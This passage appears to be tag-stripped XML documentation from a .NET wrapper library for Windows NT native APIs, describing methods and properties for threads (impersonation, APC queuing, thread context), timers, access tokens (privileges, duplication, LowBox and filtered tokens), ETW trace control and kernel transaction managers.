imperonsation context. Dispose to revert to self. + + + + Impersonate another thread's security context at impersonation level. + + The thread to impersonate. + The imperonsation context. Dispose to revert to self. + + + + Open the thread's token + + The token, null if no token available + + + + Queue a special user APC to the thread. + + The APC callback pointer. + Context parameter. + System argument 1. + System argument 2. + True to throw on error. + The NT status code. + + + + Queue a special user APC to the thread. + + The APC callback pointer. + Context parameter. + System argument 1. + System argument 2. + The NT status code. + + + + Queue a special user APC to the thread. + + The APC callback pointer. + Context parameter. + System argument 1. + System argument 2. + True to throw on error. + The NT status code. + + + + Queue a special user APC to the thread. + + The APC callback pointer. + Context parameter. + System argument 1. + System argument 2. + The NT status code. + + + + Queue a user APC to the thread. + + The APC callback pointer. + Context parameter. + System argument 1. + System argument 2. + True to throw on error. + The NT status code. + + + + Queue a user APC to the thread. + + The APC callback pointer. + Context parameter. + System argument 1. + System argument 2. + + + + Queue a user APC to the thread. + + The APC callback delegate. + Context parameter. + System argument 1. + System argument 2. + True to throw on error. + The NT status code. + This is only for APCs in the current process. You also must ensure the delegate is + valid at all times as this method doesn't take a reference to the delegate to prevent it being + garbage collected. + + + + Queue a user APC to the thread. + + The APC callback delegate. + Context parameter. + System argument 1. + System argument 2. + This is only for APCs in the current process. You also must ensure the delegate is + valid at all times as this method doesn't take a reference to the delegate to prevent it being + garbage collected. + + + + Get next thread for process relative to current thread. + + The process handle to get the threads. + The desired access for the thread. + The next thread, or null if no more available. + + + + Get the thread context. + + Flags for context parts to get. + True to throw on error. + An instance of an IContext object. Needs to be cast to correct type to access. + + + + Get the thread context. + + Flags for context parts to get. + An instance of an IContext object. Needs to be cast to correct type to access. + + + + Set the thread's context. + + The thread context to set. + True to throw on error. + The NT status code. + + + + Set the thread's context. + + The thread context to set. + + + + Get current waiting server information. + + True to throw on error. + The thread ALPC server information. + + + + Get current waiting server information. + + The thread ALPC server information. + + + + Get the process ID associated with the thread. + + True to throw on error. + The process ID. + + + + Get the thread ID. + + True to throw on error. + The thread ID. + + + + Cancel all synchronous IO for this thread. + + True to throw on error. + The NT status. + + + + Get a partial TEB for the thread. + + The partial TEB. + + + + Get the work on behalf ticket for a thread. + + True to throw on error. + The work on behalf ticket. + + + + Get the work on behalf ticket for a thread. + + The work on behalf ticket. + + + + Get the effective container ID for the thread. + + True to throw on error. + The effective container ID. + + + + Get priority boost disable value. + + True to throw on error. + True if priority base + + + + Set priority boost disable value. + + True to disable priority boost. + True to throw on error. + The NT status code. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Get thread ID + + + + + Get process ID + + + + + Get name of process. + + + + + Get or set the thread's current priority + + + + + Get or set the thread's base priority + + + + + Get or set the thread's affinity mask. + + + + + Get the thread's TEB base address. + + + + + Get or set whether thread is allowed to create dynamic code. + + Set can only be done on the current thread. + + + + Get whether thread is impersonating another token. + + Note that this tries to open the thread's token and return true if it could open. A return of false + might just indicate that the caller doesn't have permission to open the token, not that it's not impersonating. + + + + Get name of the thread. + + + + + Get or set a thread's description. + + + + + Get the Win32 start address for the thread. + + + + + Get the current Instruction Pointer for the thread. + + + + + Get last system call on the thread. + + + + + Get the thread's suspend count. + + + + + Get whether the thread has pending IO. + + + + + Get the creation time of the thread. + + + + + Get the exit time of the thread (0 if not exited) + + + + + Get the time spent in the kernel. + + + + + Get the time spent in user mode. + + + + + Get thread information. + + + + + Get thread exit status. + + + + + Get thread exit status. + + + + + Get the effective container ID. + + Should be called on the current thread psuedo handle. + + + + Get or set priority boost disabled. + + + + + Delegate for APC callbacks. + + Context parameter. + System argument 1. + System argument 2. + + + + Class to represent an NT Timer object + + + + + Create a timer object + + The path to the event + The root object for relative path names + The type of the timer. + The timer object + + + + Create a timer object + + The timer object attributes + The type of the event + The desired access for the timer + The timer object + + + + Create a timer object + + The timer object attributes + The type of the timer + The desired access for the timer + True to throw an exception on error. + The NT status code and object result. + + + + Create a timer object + + The path to the timer + The type of the timer + The timer object + + + + Create a timer object + + The type of the timer + The timer object + + + + Create a timer object + + The timer object + + + + Open a timer object + + The path to the timer + The root object for relative path names + The desired access for the timer + The timer object + + + + Open a timer object + + The path to the timer + The root object for relative path names + The desired access for the timer + True to throw on error. + The timer object + + + + Open a timer object + + The timer object attributes + The desired access for the timer + The timer object. + + + + Open a timer object + + The event object attributes + The desired access for the timer + True to throw an exception on error. + The NT status code and object result. + + + + Open a timer object + + The path to the timer + The root object for relative path names + The timer object + + + + Open a timer object + + The path to the timer + The timer object + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Set timer state. + + The due time for the timer. + Optional APC routine. + Optional APC context pointer. + True to resume. + Period time. + True throw on error. + The NT result and previous state. + + + + Set timer state. + + The due time for the timer. + Optional APC routine. + Optional APC context pointer. + True to resume. + Period time. + The previous state. + + + + Set timer state. + + The due time for the timer. + The previous state. + + + + Set timer state in milliseconds. + + The due time for the timer in milliseconds. + The previous state. + + + + Cancel the timer. + + True to throw on error. + The previous state. + + + + Cancel the timer. + + The previous state. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Remaining time for the timer. + + + + + Signal state of the timer. + + + + + Delegate for Timer APC callbacks. + + Context parameter. + Low value of timer. + High value of timer. + + + + Enumeration for querying group list using QueryGroups. + + + + + The default group list. + + + + + The restrict group list. + + + + + The capability group list. + + + + + The device group list. + + + + + The restricted device list. + + + + + Specify type of security attributes to query. + + + + + Local security attributes. + + + + + User security attributes. + + + + + Restricted user security attributes. + + + + + Device security attributes. + + + + + Restricted device security attributes. + + + + + Singleton device security attributes. + + + + + Data from the TSA://ProcUnique security attribute. + + + + + The index entry for the process. + + + + + The value for the entry. + + + + + Class representing a Token object + + + + + Duplicate token as specific type. + + The token type + The impersonation level us type is Impersonation + Open with the desired access. + The object attributes for the token. + The security descriptor for the token. + If true then throw an exception on error. + The new token + Thrown on error + + + + Duplicate token as specific type. + + The token type + The impersonation level us type is Impersonation + Open with the desired access. + The object attributes for the token. + The security descriptor for the token. + The new token + Thrown on error + + + + Duplicate token as specific type. + + The token type + The impersonation level us type is Impersonation + Open with the desired access. + If true then throw an exception on error. + The new token + Thrown on error + + + + Duplicate token as specific type + + The token type + The impersonation level us type is Impersonation + Open with the desired access. + The new token + Thrown on error + + + + Duplicate the token as the same token type. + + The new token. + Thrown on error + + + + Duplicate the token as the same token type. + + True to throw on error. + The new token. + Thrown on error + + + + Duplicate token as an impersonation token with a specific level + + The token impersonation level + The new token + Thrown on error + + + + Set a privilege state + + The name of the privilege (e.g. SeDebugPrivilege) + True to enable the privilege, false to disable + True to throw on error. + True if successfully changed the state of the privilege + + + + Set a privilege state + + The name of the privilege (e.g. SeDebugPrivilege) + True to enable the privilege, false to disable + True if successfully changed the state of the privilege + + + + Set a privilege state + + The luid of the privilege + The privilege attributes to set. + True to throw on error. + True if successfully changed the state of the privilege + + + + Set a privilege state + + The luid of the privilege + The privilege attributes to set. + True if successfully changed the state of the privilege + + + + Set a privilege state + + The value of the privilege + The privilege attributes to set. + True to throw on error. + True if successfully changed the state of the privilege + + + + Set a privilege state + + The value of the privilege + The privilege attributes to set. + True if successfully changed the state of the privilege + + + + Remove a privilege. + + The value of the privilege to remove. + True if successfully removed the privilege. + + + + Remove a privilege. + + The LUID of the privilege to remove. + True if successfully removed the privilege. + + + + Create a LowBox token from the current token. + + The package SID + The created LowBox token. + Thrown on error. + + + + Create a LowBox token from the current token. + + The package SID + List of handles to capture with the token + The created LowBox token. + Thrown on error. + + + + Create a LowBox token from the current token. + + The package SID + List of handles to capture with the token + List of capability sids to add. + Desired token access. + The created LowBox token. + Thrown on error. + + + + Filter a token to remove groups/privileges and add restricted SIDs + + Filter token flags + List of SIDs to disable + List of privileges to delete + List of restricted SIDs to add + The new token. + + + + Filter a token to remove groups/privileges and add restricted SIDs + + Filter token flags + List of SIDs to disable + List of privileges to delete + List of restricted SIDs to add + The new token. + + + + Filter a token to remove privileges and groups. + + Filter token flags + The new filtered token. + + + + Set the state of a group + + The group SID to set + The attributes to set + + + + Set the state of a group + + The group SID to set + The attributes to set + True to throw on error. + The NT status code. + + + + Set the state of a group + + The groups to set + The attributes to set + True to throw on error. + The NT status code. + + + + Set the state of a group + + The groups to set + The attributes to set + + + + Reset all groups to their default state. + + True to throw on error. + The NT status code. + + + + Reset all groups to their default state. + + + + + Set the session ID of a token + + The session ID + + + + Set a token's default DACL + + The DACL to set. + + + + Set the origin logon session ID. + + The origin logon session ID. + + + + Set virtualization enabled + + True to enable virtualization + True to throw on error. + + + + Set virtualization enabled + + True to enable virtualization + + + + Set UI Access flag. + + True to enable UI Access. + + + + Get the linked token + + True to throw on error. + The linked token + + + + Get the linked token + + The linked token + + + + Set the linked token. + + The token to set. + Requires SeCreateTokenPrivilege. + + + + Impersonate the token. + + An impersonation context, dispose to revert to process token + Thrown on error. + + + + Impersonate the token. + + Impersonation level for token. + An impersonation context, dispose to revert to process token + Thrown on error. + + + + Run a function under impersonation. + + The return type. + The callback to run. + The return value from the callback. + Thrown on error. + + + + Run an action under impersonation. + + The callback to run. + Thrown on error. + + + + Run a function under impersonation. + + The return type. + The callback to run. + Impersonation level for token. + The return value from the callback. + Thrown on error. + + + + Run an action under impersonation. + + The callback to run. + Impersonation level for token. + Thrown on error. + + + + Get a security attribute by name. + + Specify the type of security attributes to query. + The name of the security attribute, such as WIN://PKG + The expected type of the security attribute. If None return ignore type check. + The security attribute or null if not found. + + + + Get a security attribute by name. + + The name of the security attribute, such as WIN://PKG + The expected type of the security attribute. If None return ignore type check. + The security attribute or null if not found. + + + + Get a security attribute by name. + + The name of the security attribute, such as WIN://PKG + The security attribute or null if not found. + + + + Get token's security attributes + + Specify the type of security attributes to query. + Throw on error. + The security attributes. + + + + Get token's security attributes. + + Throw on error. + The security attributes. + + + + Get token's security attributes + + Specify the type of security attributes to query. + The security attributes. + + + + Get token's security attributes + + The security attributes. + + + + Set security attributes on the token. + + The list of attributes. + The operation to perform on the attribute. + Throw on error. + The array of attributes aand operations must be the same size. You need SeTcbPrivilege to call this API. + The NT Status code. + + + + Set security attributes on the token. + + The list of attributes. + The operation to perform on the attribute. + The array of attributes aand operations must be the same size. You need SeTcbPrivilege to call this API. + + + + Add security attributes to the token. + + The list of attributes. + Throw on error. + You need SeTcbPrivilege to call this API. + The NT Status code. + + + + Add security attributes to the token. + + The list of attributes. + You need SeTcbPrivilege to call this API. + + + + Replace security attributes in the token. + + The list of attributes. + Throw on error. + You need SeTcbPrivilege to call this API. + The NT Status code. + + + + Replace security attributes in the token. + + The list of attributes. + You need SeTcbPrivilege to call this API. + + + + Replace all security attributes in the token. + + The list of attributes. + Throw on error. + You need SeTcbPrivilege to call this API. + The NT Status code. + + + + Replace security attributes in the token. + + The list of attributes. + You need SeTcbPrivilege to call this API. + + + + Remove security attributes by name. + + The attribute names to remove. + Throw on error. + The NT Status code. + + + + Remove security attributes by name. + + The attribute names to remove. + + + + Set the token's integrity level. + + The level to set. + + + + Set the token's integrity level. + + The level to set. + + + + Get the state of a privilege. + + The privilege to get the state of. + The privilege, or null if it can't be found + Thrown if can't query privileges + + + + Get the state of a privilege. + + The privilege to get the state of. + The privilege, or null if it can't be found + True to throw on error + Thrown if can't query privileges + + + + Compare two tokens. + + The other token to compare. + True if tokens are equal. + + + + Get the App Policy for this token. + + The type of app policy. + The policy value. + + + + Disable No Child process policy on the token. + + Needs SeTcbPrivilege. + + + + Query a list of groups from the token. + + The type of groups to query. + True to throw on error. + The list of groups. + + + + Query a list of groups from the token. + + The type of groups to query. + The list of groups. + + + + Get the user from the token. + + True to throw on error. + The user group information. + + + + Do a privilege check on a token. + + The list of privileges to check. + True to require all necessary privileges. + True to throw on error. + The privilege check result. + + + + Do a privilege check on a token. + + The list of privileges to check. + True to require all necessary privileges. + The privilege check result. + + + + Do a privilege check on a token. + + The list of privileges to check. + True to require all necessary privileges. + True to throw on error. + The privilege check result. + + + + Do a privilege check on a token. + + The list of privileges to check. + True to require all necessary privileges. + The privilege check result. + + + + Do a privilege check for a single privilege. + + The privilege to check. + True if the privilege is enabled. + + + + Do a privilege check for a single privilege. + + The privilege to check. + True if the privilege is enabled. + + + + Get token privileges. + + True to throw on error. + The list of privileges. + + + + Perform a capability check for a token. + + The name of the capability to check. + True to throw on error. + True if the token has the capability. + + + + Perform a capability check for a token. + + The name of the capability to check. + True if the token has the capability. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Get the logon SID for the token. + + True to throw on error. + The logon SID. + + + + Get token user + + + + + Get token groups + + + + + Get list of enabled groups. + + + + + Get list of deny only groups. + + + + + Get count of groups in this token. + + + + + Get the authentication ID for the token + + + + + Get the token's type + + + + + Get the token's expiration time. + + + + + Get the Token's Id + + + + + Get the Token's modified Id. + + + + + Get/set the token's owner. + + + + + Get/set the token's primary group + + + + + Get/set the token's default DACL + + + + + Get the token's source + + + + + Get token's restricted sids + + + + + Get count of restricted sids + + + + + Get token's impersonation level + + + + + Get/set token's session ID + + + + + Get whether token has sandbox inert flag set. + + + + + Get/set token's origin + + + + + Get token's elevation type + + + + + Get whether token is elevated + + + + + Get whether token has restrictions + + + + + Get/set token UI access flag + + + + + Get or set whether virtualization is allowed + + + + + Get/set whether virtualization is enabled + + + + + Get whether token is restricted + + + + + Get whether token is write restricted. + + + + + Get whether token is filtered. + + + + + Get whether token is not low. + + + + + Token access flags. + + + + + Get whether token can be used for new child processes. + + + + + Get token capabilities. + + + + + Get or set the token mandatory policy + + + + + Get token logon sid + + + + + Get token's integrity level sid + + + + + Get token's App Container number. + + + + + Get or set token's integrity level. + + + + + Get token's security attributes + + + + + Get token's device claims. + + + + + Get token's user claims. + + + + + Get token's restricted user claims. + + Unsupported, at least on Windows 10. + + + + Get token's restricted user claims. + + Unsupported, at least on Windows 10. + + + + Get whether a token is an AppContainer token + + + + + Get whether the token is configured for low privilege. + + + + + Get token's AppContainer sid + + + + + Get token's AppContainer package name (if available). + Returns an empty string if not an AppContainer. + + + + + Get token's device groups + + + + + Get token's restricted device groups. + + + + + Get list of privileges for token + + The list of privileges + Thrown if can't query privileges + + + + Get full path to token + + + + + Get the token's trust level. Will be null if no trust level present. + + + + + Returns true if this is a pseudo token. + + + + + Get whether this token is a sandboxed token. + + + + + Query the token's full package name. + + + + + Query the token's appid. + + + + + Get the list of policies for this App. + + + + + Get the list of policies for this App in a table. + + + + + Get the BaseNamedObjects isolation prefix if enabled. + + + + + Get the token's package identity. + + + + + Get or set the token audit policy. + + Needs SeSecurityPrivilege to query and SeTcbPrivilege to set. + + + + Get or set if token is in a private namespace. + + + + + Get if the token is restricted. + + + + + Get the TSA://ProcUnique attribute. + + + + + Enable debug privilege for the current process token. + + True if set the debug privilege + + + + Enable a privilege of the effective token. + + The privilege to enable. + True if set the privilege. + + + + Open the process token of another process + + The process to open the token for + The desired access for the token + Attribute flags for the handle. + If true then throw an exception on error. + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The process to open the token for + The desired access for the token + Attribute flags for the handle. + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The process to open the token for + The desired access for the token + If true then throw an exception on error. + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The process to open the token for + The desired access for the token + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The process to open the token for + True to duplicate the token before returning + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The process to open the token for + True to duplicate the token before returning + The desired access for the token + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The process to open the token for + True to duplicate the token before returning + The desired access for the token + True to throw on error. + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The process to open the token for + The opened token + Thrown if cannot open token + + + + Open the process token of the current process + + The opened token + Thrown if cannot open token + + + + Open the process token of the current process + + True to duplicate the token before returning + The opened token + Thrown if cannot open token + + + + Open the process token of the current process + + True to duplicate the token before returning + The desired access for the token + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The id of the process to open the token for + True to duplicate the token before returning + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The id of the process to open the token for + True to duplicate the token before returning + The desired access for the token + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The id of the process to open the token for + True to duplicate the token before returning + The desired access for the token + True to throw on error. + The opened token + Thrown if cannot open token + + + + Open the process token of another process + + The id of the process to open the token for + The opened token + Thrown if cannot open token + + + + Open the thread token + + The thread to open the token for + Open the token as the current identify rather than the impersonated one + The desired access for the token + If true then throw an exception on error. + The opened token result + Thrown if cannot open token + + + + Open the thread token + + The thread to open the token for + Open the token as the current identify rather than the impersonated one + True to duplicate the token before returning. + The desired access for the token + True to throw on error. + The opened token, if no token return null + Thrown if cannot open token + + + + Open the thread token + + The thread to open the token for + Open the token as the current identify rather than the impersonated one + True to duplicate the token before returning + The desired access for the token + The opened token, if no token return null + Thrown if cannot open token + + + + Open the thread token + + The ID of the thread to open the token for + Open the token as the current identify rather than the impersonated one + True to duplicate the token before returning + The desired access for the token + The opened token, if no token return null + Thrown if cannot open token + + + + Open the thread token + + The thread to open the token for + Open the token as the current identify rather than the impersonated one + True to duplicate the token before returning + The opened token, if no token return null + Thrown if cannot open token + + + + Open the thread token + + The thread to open the token for + The opened token, if no token return null + Thrown if cannot open token + + + + Open the current thread token + + True to duplicate the token before returning + The opened token, if no token return null + Thrown if cannot open token + + + + Open the current thread token + + The opened token, if no token return null + Thrown if cannot open token + + + + Open the effective token, thread if available or process + + The thread to open the token for + True to duplicate the token before returning + Desired access for token. + Open token as self. + True to throw on error. + The opened token + Thrown if cannot open token + + + + Open the effective token, thread if available or process + + The thread to open the token for + True to duplicate the token before returning + Desired access for token. + Open token as self. + The opened token + Thrown if cannot open token + + + + Open the effective token, thread if available or process + + The thread to open the token for + True to duplicate the token before returning + True to throw on error. + The opened token + Thrown if cannot open token + + + + Open the effective token, thread if available or process + + The thread to open the token for + True to duplicate the token before returning + The opened token + Thrown if cannot open token + + + + Open the current effective token, thread if available or process + + The opened token + Thrown if cannot open token + + + + Open the current effective token, thread if available or process + + True to throw on error. + The opened token + Thrown if cannot open token + + + + Create a token. Needs SeCreateTokenPrivilege. + + The desired access for the token. + Object attributes, used to pass SecurityDescriptor or SQOS for impersonation token. + The type of token. + The authentication ID for the token. + The expiration time for the token. + The user for the token. + The groups for the token. + The privileges for the token. + The owner of the token. + The primary group for the token. + The default dacl for the token. + The source for the token. + Optional device attributes. + Optional device groups. + Optional mandatory policy. + Optional user attributes. + True to throw on error. + The token object. + + + + Create a token. Needs SeCreateTokenPrivilege. + + The desired access for the token. + Object attributes, used to pass SecurityDescriptor or SQOS for impersonation token. + The type of token. + The authentication ID for the token. + The expiration time for the token. + The user for the token. + The groups for the token. + The privileges for the token. + The owner of the token. + The primary group for the token. + The default dacl for the token. + The source for the token. + Optional device attributes. + Optional device groups. + Optional mandatory policy. + Optional user attributes. + The token object. + + + + Create a token. Needs SeCreateTokenPrivilege. + + The desired access for the token. + Object attributes, used to pass SecurityDescriptor or SQOS for impersonation token. + The type of token. + The authentication ID for the token. + The expiration time for the token. + The user for the token. + The groups for the token. + The privileges for the token. + The owner of the token. + The primary group for the token. + The default dacl for the token. + The source for the token. + True to throw on error. + The token object. + + + + Create a token. Needs SeCreateTokenPrivilege. + + The desired access for the token. + Object attributes, used to pass SecurityDescriptor or SQOS for impersonation token. + The type of token. + The authentication ID for the token. + The expiration time for the token. + The user for the token. + The groups for the token. + The privileges for the token. + The owner of the token. + The primary group for the token. + The default dacl for the token. + The source for the token. + The token object. + + + + Create a token. Needs SeCreateTokenPrivilege. + + The user for the token. + The groups for the token. + The privileges for the token. + The token object. + + + + Create a token. Needs SeCreateTokenPrivilege. + + The user for the token. + The token object. + + + + Impersonate another process' token + + The impersonation level + Process ID of the other process + An impersonation context, dispose to revert to process token + + + + Get the current user. + + True to throw on error. + The current user. + + + + Do a single privilege check on the effective token. + + The privilege to check. + True to throw on error. + True if the privilege is enabled. + + + + Do a single privilege check on the effective token. + + The privilege to check. + True if the privilege is enabled. + + + + Get the current user. + + + + + Get authentication ID for LOCAL SYSTEM + + + + + Get authentication ID for LOCAL SERVICE + + + + + Get authentication ID for NETWORK SERVICE + + + + + Get authentication ID for ANONYMOUS + + + + + Get a pseudo handle to the primary token. + + Only useful for querying information. + + + + Get a pseudo handle to the impersonation token. + + Only useful for querying information. + + + + Get a pseudo handle to the effective token. + + Only useful for querying information. + + + + Static methods to interact with the ETW subsystem. + + + + + Issue a trace control request. + + The trace control function code. + The optional input buffer. + The optional output buffer. + True to throw on error. + The output length. + + + + Issue a trace control request. + + The trace control function code. + The optional input buffer. + The optional output buffer. + The output length. + + + + Access rights for Trace + + + + + The security trace provider GUID. + + + + + The default security GUID. + + + + + Class to represent a kernel transaction. + + + + + Create a transaction + + The object attributes + Desired access for the handle + True to throw an exception on error. + Transaction creation options. + Optional description of the transaction. + Isolation flags. + Isolation level. + Optional transaction timeout. + Optional transaction manager. + Optional UOW. + The NT status code and object result. + + + + Create a transaction + + The object attributes + Desired access for the handle + Transaction creation options. + Optional description of the transaction. + Isolation flags. + Isolation level. + Optional transaction timeout. + Optional transaction manager. + Optional UOW. + The NT status code and object result. + + + + Create a transaction + + The object attributes + Desired access for the handle + True to throw an exception on error. + The NT status code and object result. + + + + Create a transaction + + The object attributes + Desired access for the handle + The opened transaction + + + + Create a transaction + + The path of the transaction + The root if path is relative + Desired access for the handle + Transaction creation options. + Optional description of the transaction. + Isolation flags. + Isolation level. + Optional transaction timeout. + Optional transaction manager. + Optional UOW. + True to throw an exception on error. + The opened transaction + + + + Create a transaction + + The path of the transaction + The root if path is relative + Desired access for the handle + Transaction creation options. + Optional description of the transaction. + Isolation flags. + Isolation level. + Optional transaction timeout. + Optional transaction manager. + Optional UOW. + The opened transaction + + + + Create a transaction + + The path of the transaction + The root if path is relative + Desired access for the handle + True to throw an exception on error. + The opened transaction + + + + Create a transaction + + The path of the transaction + The root if path is relative + Desired access for the handle + The opened transaction + + + + Create a transaction + + The path of the transaction + The root if path is relative + The opened transaction + + + + Create a transaction + + The path of the transaction + The opened transaction + + + + Create a transaction + + The opened transaction + + + + Open a transaction object. + + The object attributes for the object + The desired access for the object + Optional transaction manager. + UOW Guid. + True to throw an exception on error. + The NT status code and object result. + + + + Open a transaction object. + + The object attributes for the object + The desired access for the object + Optional transaction manager. + UOW Guid. + The object result. + + + + Open a transaction object. + + The desired access for the object + Optional transaction manager. + UOW Guid. + The object result. + + + + Open a transaction object. + + Optional transaction manager. + UOW Guid. + The object result. + + + + Open a transaction object. + + UOW Guid. + The object result. + + + + Get a list of all accessible transaction objects. + + The object attributes for the object + Optional transaction manager. + The access for the transaction objects. + The list of all accessible transaction objects. + + + + Get a list of all accessible transaction objects. + + The access for the transaction objects. + The list of all accessible transaction objects. + + + + Get a list of all accessible transaction objects. + + The list of all accessible transaction objects. + + + + Get the current thread's transaction. + + + + + Commit the transaction + + Wait for transaction to commit. + True to throw an exception on error. + The NT status code. + + + + Commit the transaction + + Wait for transaction to commit. + + + + Commit the transaction + + + + + Rollback the transaction + + Wait for transaction to rollback. + True to throw an exception on error. + The NT status code. + + + + Rollback the transaction + + Wait for transaction to rollback. + + + + Rollback the transaction + + + + + Enable the transaction for anything in the current thread context. + + The transaction context. This should be disposed to disable the transaction. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Get the ID of the transaction. + + + + + Get the Unit of Work ID of the transaction. Same as transaction ID. + + + + + Get the state of the transaction. + + + + + Get the outcome of the transaction. + + + + + Get or set the transaction description. + + + + + Get or set the transaction isolation level. + + + + + Get or set the transaction isolation flags. + + + + + Get or set transaction timeout. + + + + + Query list of enlistments for this transaction. + + + + + Query the superior enlistment for this transaction. + + + + + Class to represent a kernel transaction manager. + + + + + Create a new transaction manager object. + + The object attributes + Desired access for the handle + True to throw an exception on error. + The CLFS log file to create if not volatile. + Creation options flags. + Commit strength, set to 0. + The NT status code and object result. + + + + Create a new transaction manager object. + + The object attributes + Desired access for the handle + The CLFS log file to create if not volatile. + Creation options flags. + Commit strength, set to 0. + The object result. + + + + Create a new transaction manager object. + + The path to the transaction manager. + The root if path is relative. + Desired access for the handle + The CLFS log file to create if not volatile. + Creation options flags. + True to throw an exception on error. + The object result. + + + + Create a new transaction manager object. + + The path to the transaction manager. + The root if path is relative. + Desired access for the handle + The CLFS log file to create if not volatile. + Creation options flags. + The object result. + + + + Create a new volatile transaction manager object. + + The path to the transaction manager. + The root if path is relative. + Desired access for the handle + The object result. + + + + Create a new volatile transaction manager object. + + The path to the transaction manager. + The root if path is relative. + The object result. + + + + Create a new volatile transaction manager object. + + The path to the transaction manager. + The object result. + + + + Create a new volatile transaction manager object. + + The object result. + + + + Open a existing transaction manager object. + + The object attributes + Desired access for the handle + The CLFS log file to create if not volatile. + Identity of the transaction manager. + Open options flags. + True to throw an exception on error. + The NT status code and object result. + + + + Open a existing transaction manager object. + + The object attributes + Desired access for the handle + Identity of the transaction manager. + The CLFS log file to create if not volatile. + Open options flags. + The object result. + + + + Open an existing transaction manager object. + + The path to the transaction manager. + The root if path is relative. + Desired access for the handle + Identity of the transaction manager. + The CLFS log file to create if not volatile. + Open options flags. + True to throw an exception on error. + The object result. + + + + Open an existing transaction manager object. + + The path to the transaction manager. + The root if path is relative. + Desired access for the handle + Identity of the transaction manager. + The CLFS log file to create if not volatile. + Open options flags. + The object result. + + + + Open an existing transaction manager object. + + The path to the transaction manager. + The root if path is relative. + Desired access for the handle + The object result. + + + + Open an existing transaction manager object. + + The path to the transaction manager. + The root if path is relative. + The object result. + + + + Open an existing transaction manager object. + + The path to the transaction manager. + The object result. + + + + Rename transaction manager object. The new identity can be queried with the Identity property on the object. + + The path to the transaction log file. + The existing transaction manager identity. + True to throw an exception on error. + The NT status code + + + + Get a list of all accessible transaction manager objects. + + Object attributes for opened handle. + The access for the transaction manager objects. + Open options. + The list of all accessible transaction manager objects. + + + + Get a list of all accessible transaction manager objects. + + The access for the transaction manager objects. + The list of all accessible transaction manager objects. + + + + Get a list of all accessible transaction manager objects. + + The list of all accessible transaction manager objects. + + + + Get the Transaction Manager identity. + + + + + Get the Transaction Manager virtual clock. + + + + + Get the Transaction Manager log identity. + + + + + Get the Transaction Manager log path. + + + + + Get Transaction Manager last recovered Log Sequence Number. + + + + + Get whether the transaction manager is volatile. + + + + + Rename transaction manager object. The new identity can be queried with the Identity property on the object. + + True to throw an exception on error. + The NT status code + + + + Rename transaction manager object. The new identity can be queried with the Identity property on the object. + + + + + Recover the transaction manager. + + True to throw an exception on error. + The NT status code + + + + Recover the transaction manager. + + + + + Rollforward the transaction manager. + + Optional virtual block value to rollforward to. + True to throw an exception on error. + The NT status code + + + + Rollforward the transaction manager. + + True to throw an exception on error. + The NT status code + + + + Rollforward the transaction manager. + + Optional virtual block value to rollforward to. + + + + Rollforward the transaction manager. + + + + + Create a resource manager for this transaction manager. + + The resource manager GUID to assign. + Creation options. + True to throw on error. + The resource manager and NT status. + + + + Create a resource manager for this transaction manager. + + The resource manager GUID to assign. + Creation options. + The resource manager . + + + + Create a resource manager for this transaction manager. + + The resource manager GUID to assign. + The resource manager. + + + + Create a volatile resource manager for this transaction manager with a auto-generated GUID. + + The resource manager. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Get a list of all accessible transaction objects owned by this transaction manager. + + The access for the transaction objects. + The list of all accessible transaction objects. + + + + Get a list of all accessible transaction objects owned by this transaction manager. + + The list of all accessible transaction objects. + + + + Get a list of all accessible resource manager objects owned by this transaction manager. + + Object attributes for opened handle. + The access for the resource manager objects. + The list of all accessible resource manager objects. + + + + Get a list of all accessible resource manager objects owned by this transaction manager. + + The access for the resource manager objects. + The list of all accessible resource manager objects. + + + + Get a list of all accessible resource manager objects owned by this transaction manager. + + The list of all accessible resource manager objects. + + + + General utilities for the kernel transaction manager. + + + + + Enumerate transaction objects of a specific type from a root handle. + + The root handle to enumearate from. + The type of object to query. + The list of enumerated transaction object GUIDs. + + + + Enumerate all transaction objects of a specific type. + + The type of object to query. + The list of enumerated transaction object GUIDs. + + + + Freeze all transactions. Needs SeRestorePrivilege. + + The freeze wait timeout. + The thaw wait timeout. + Throw exception on error. + The NT status code. + + + + Freeze all transactions. Needs SeRestorePrivilege. + + The freeze wait timeout. + The thaw wait timeout. + + + + Thaw transactions. Needs SeRestorePrivilege. + + Throw exception on error. + The NT status code. + + + + Thaw transactions. Needs SeRestorePrivilege. + + The NT status code. + + + + Class representing an NT object type + + + + + The name of the type + + + + + The mapping from generic to specific object rights + + + + + The valid access mask + + + + + True if the object needs security even if unnamed + + + + + Total number of objects (when originally retrieved) + + + + + Total number of handles (when originally retrieved) + + + + + Total paged pool usage (when originally retrieved) + + + + + Total non-paged pool usage (when originally retrieved) + + + + + Total name pool usage (when originally retrieved) + + + + + Total handle table usage (when originally retrieved) + + + + + Maximum number of objects (when originally retrieved) + + + + + Maximum number of handles (when originally retrieved) + + + + + Maximum 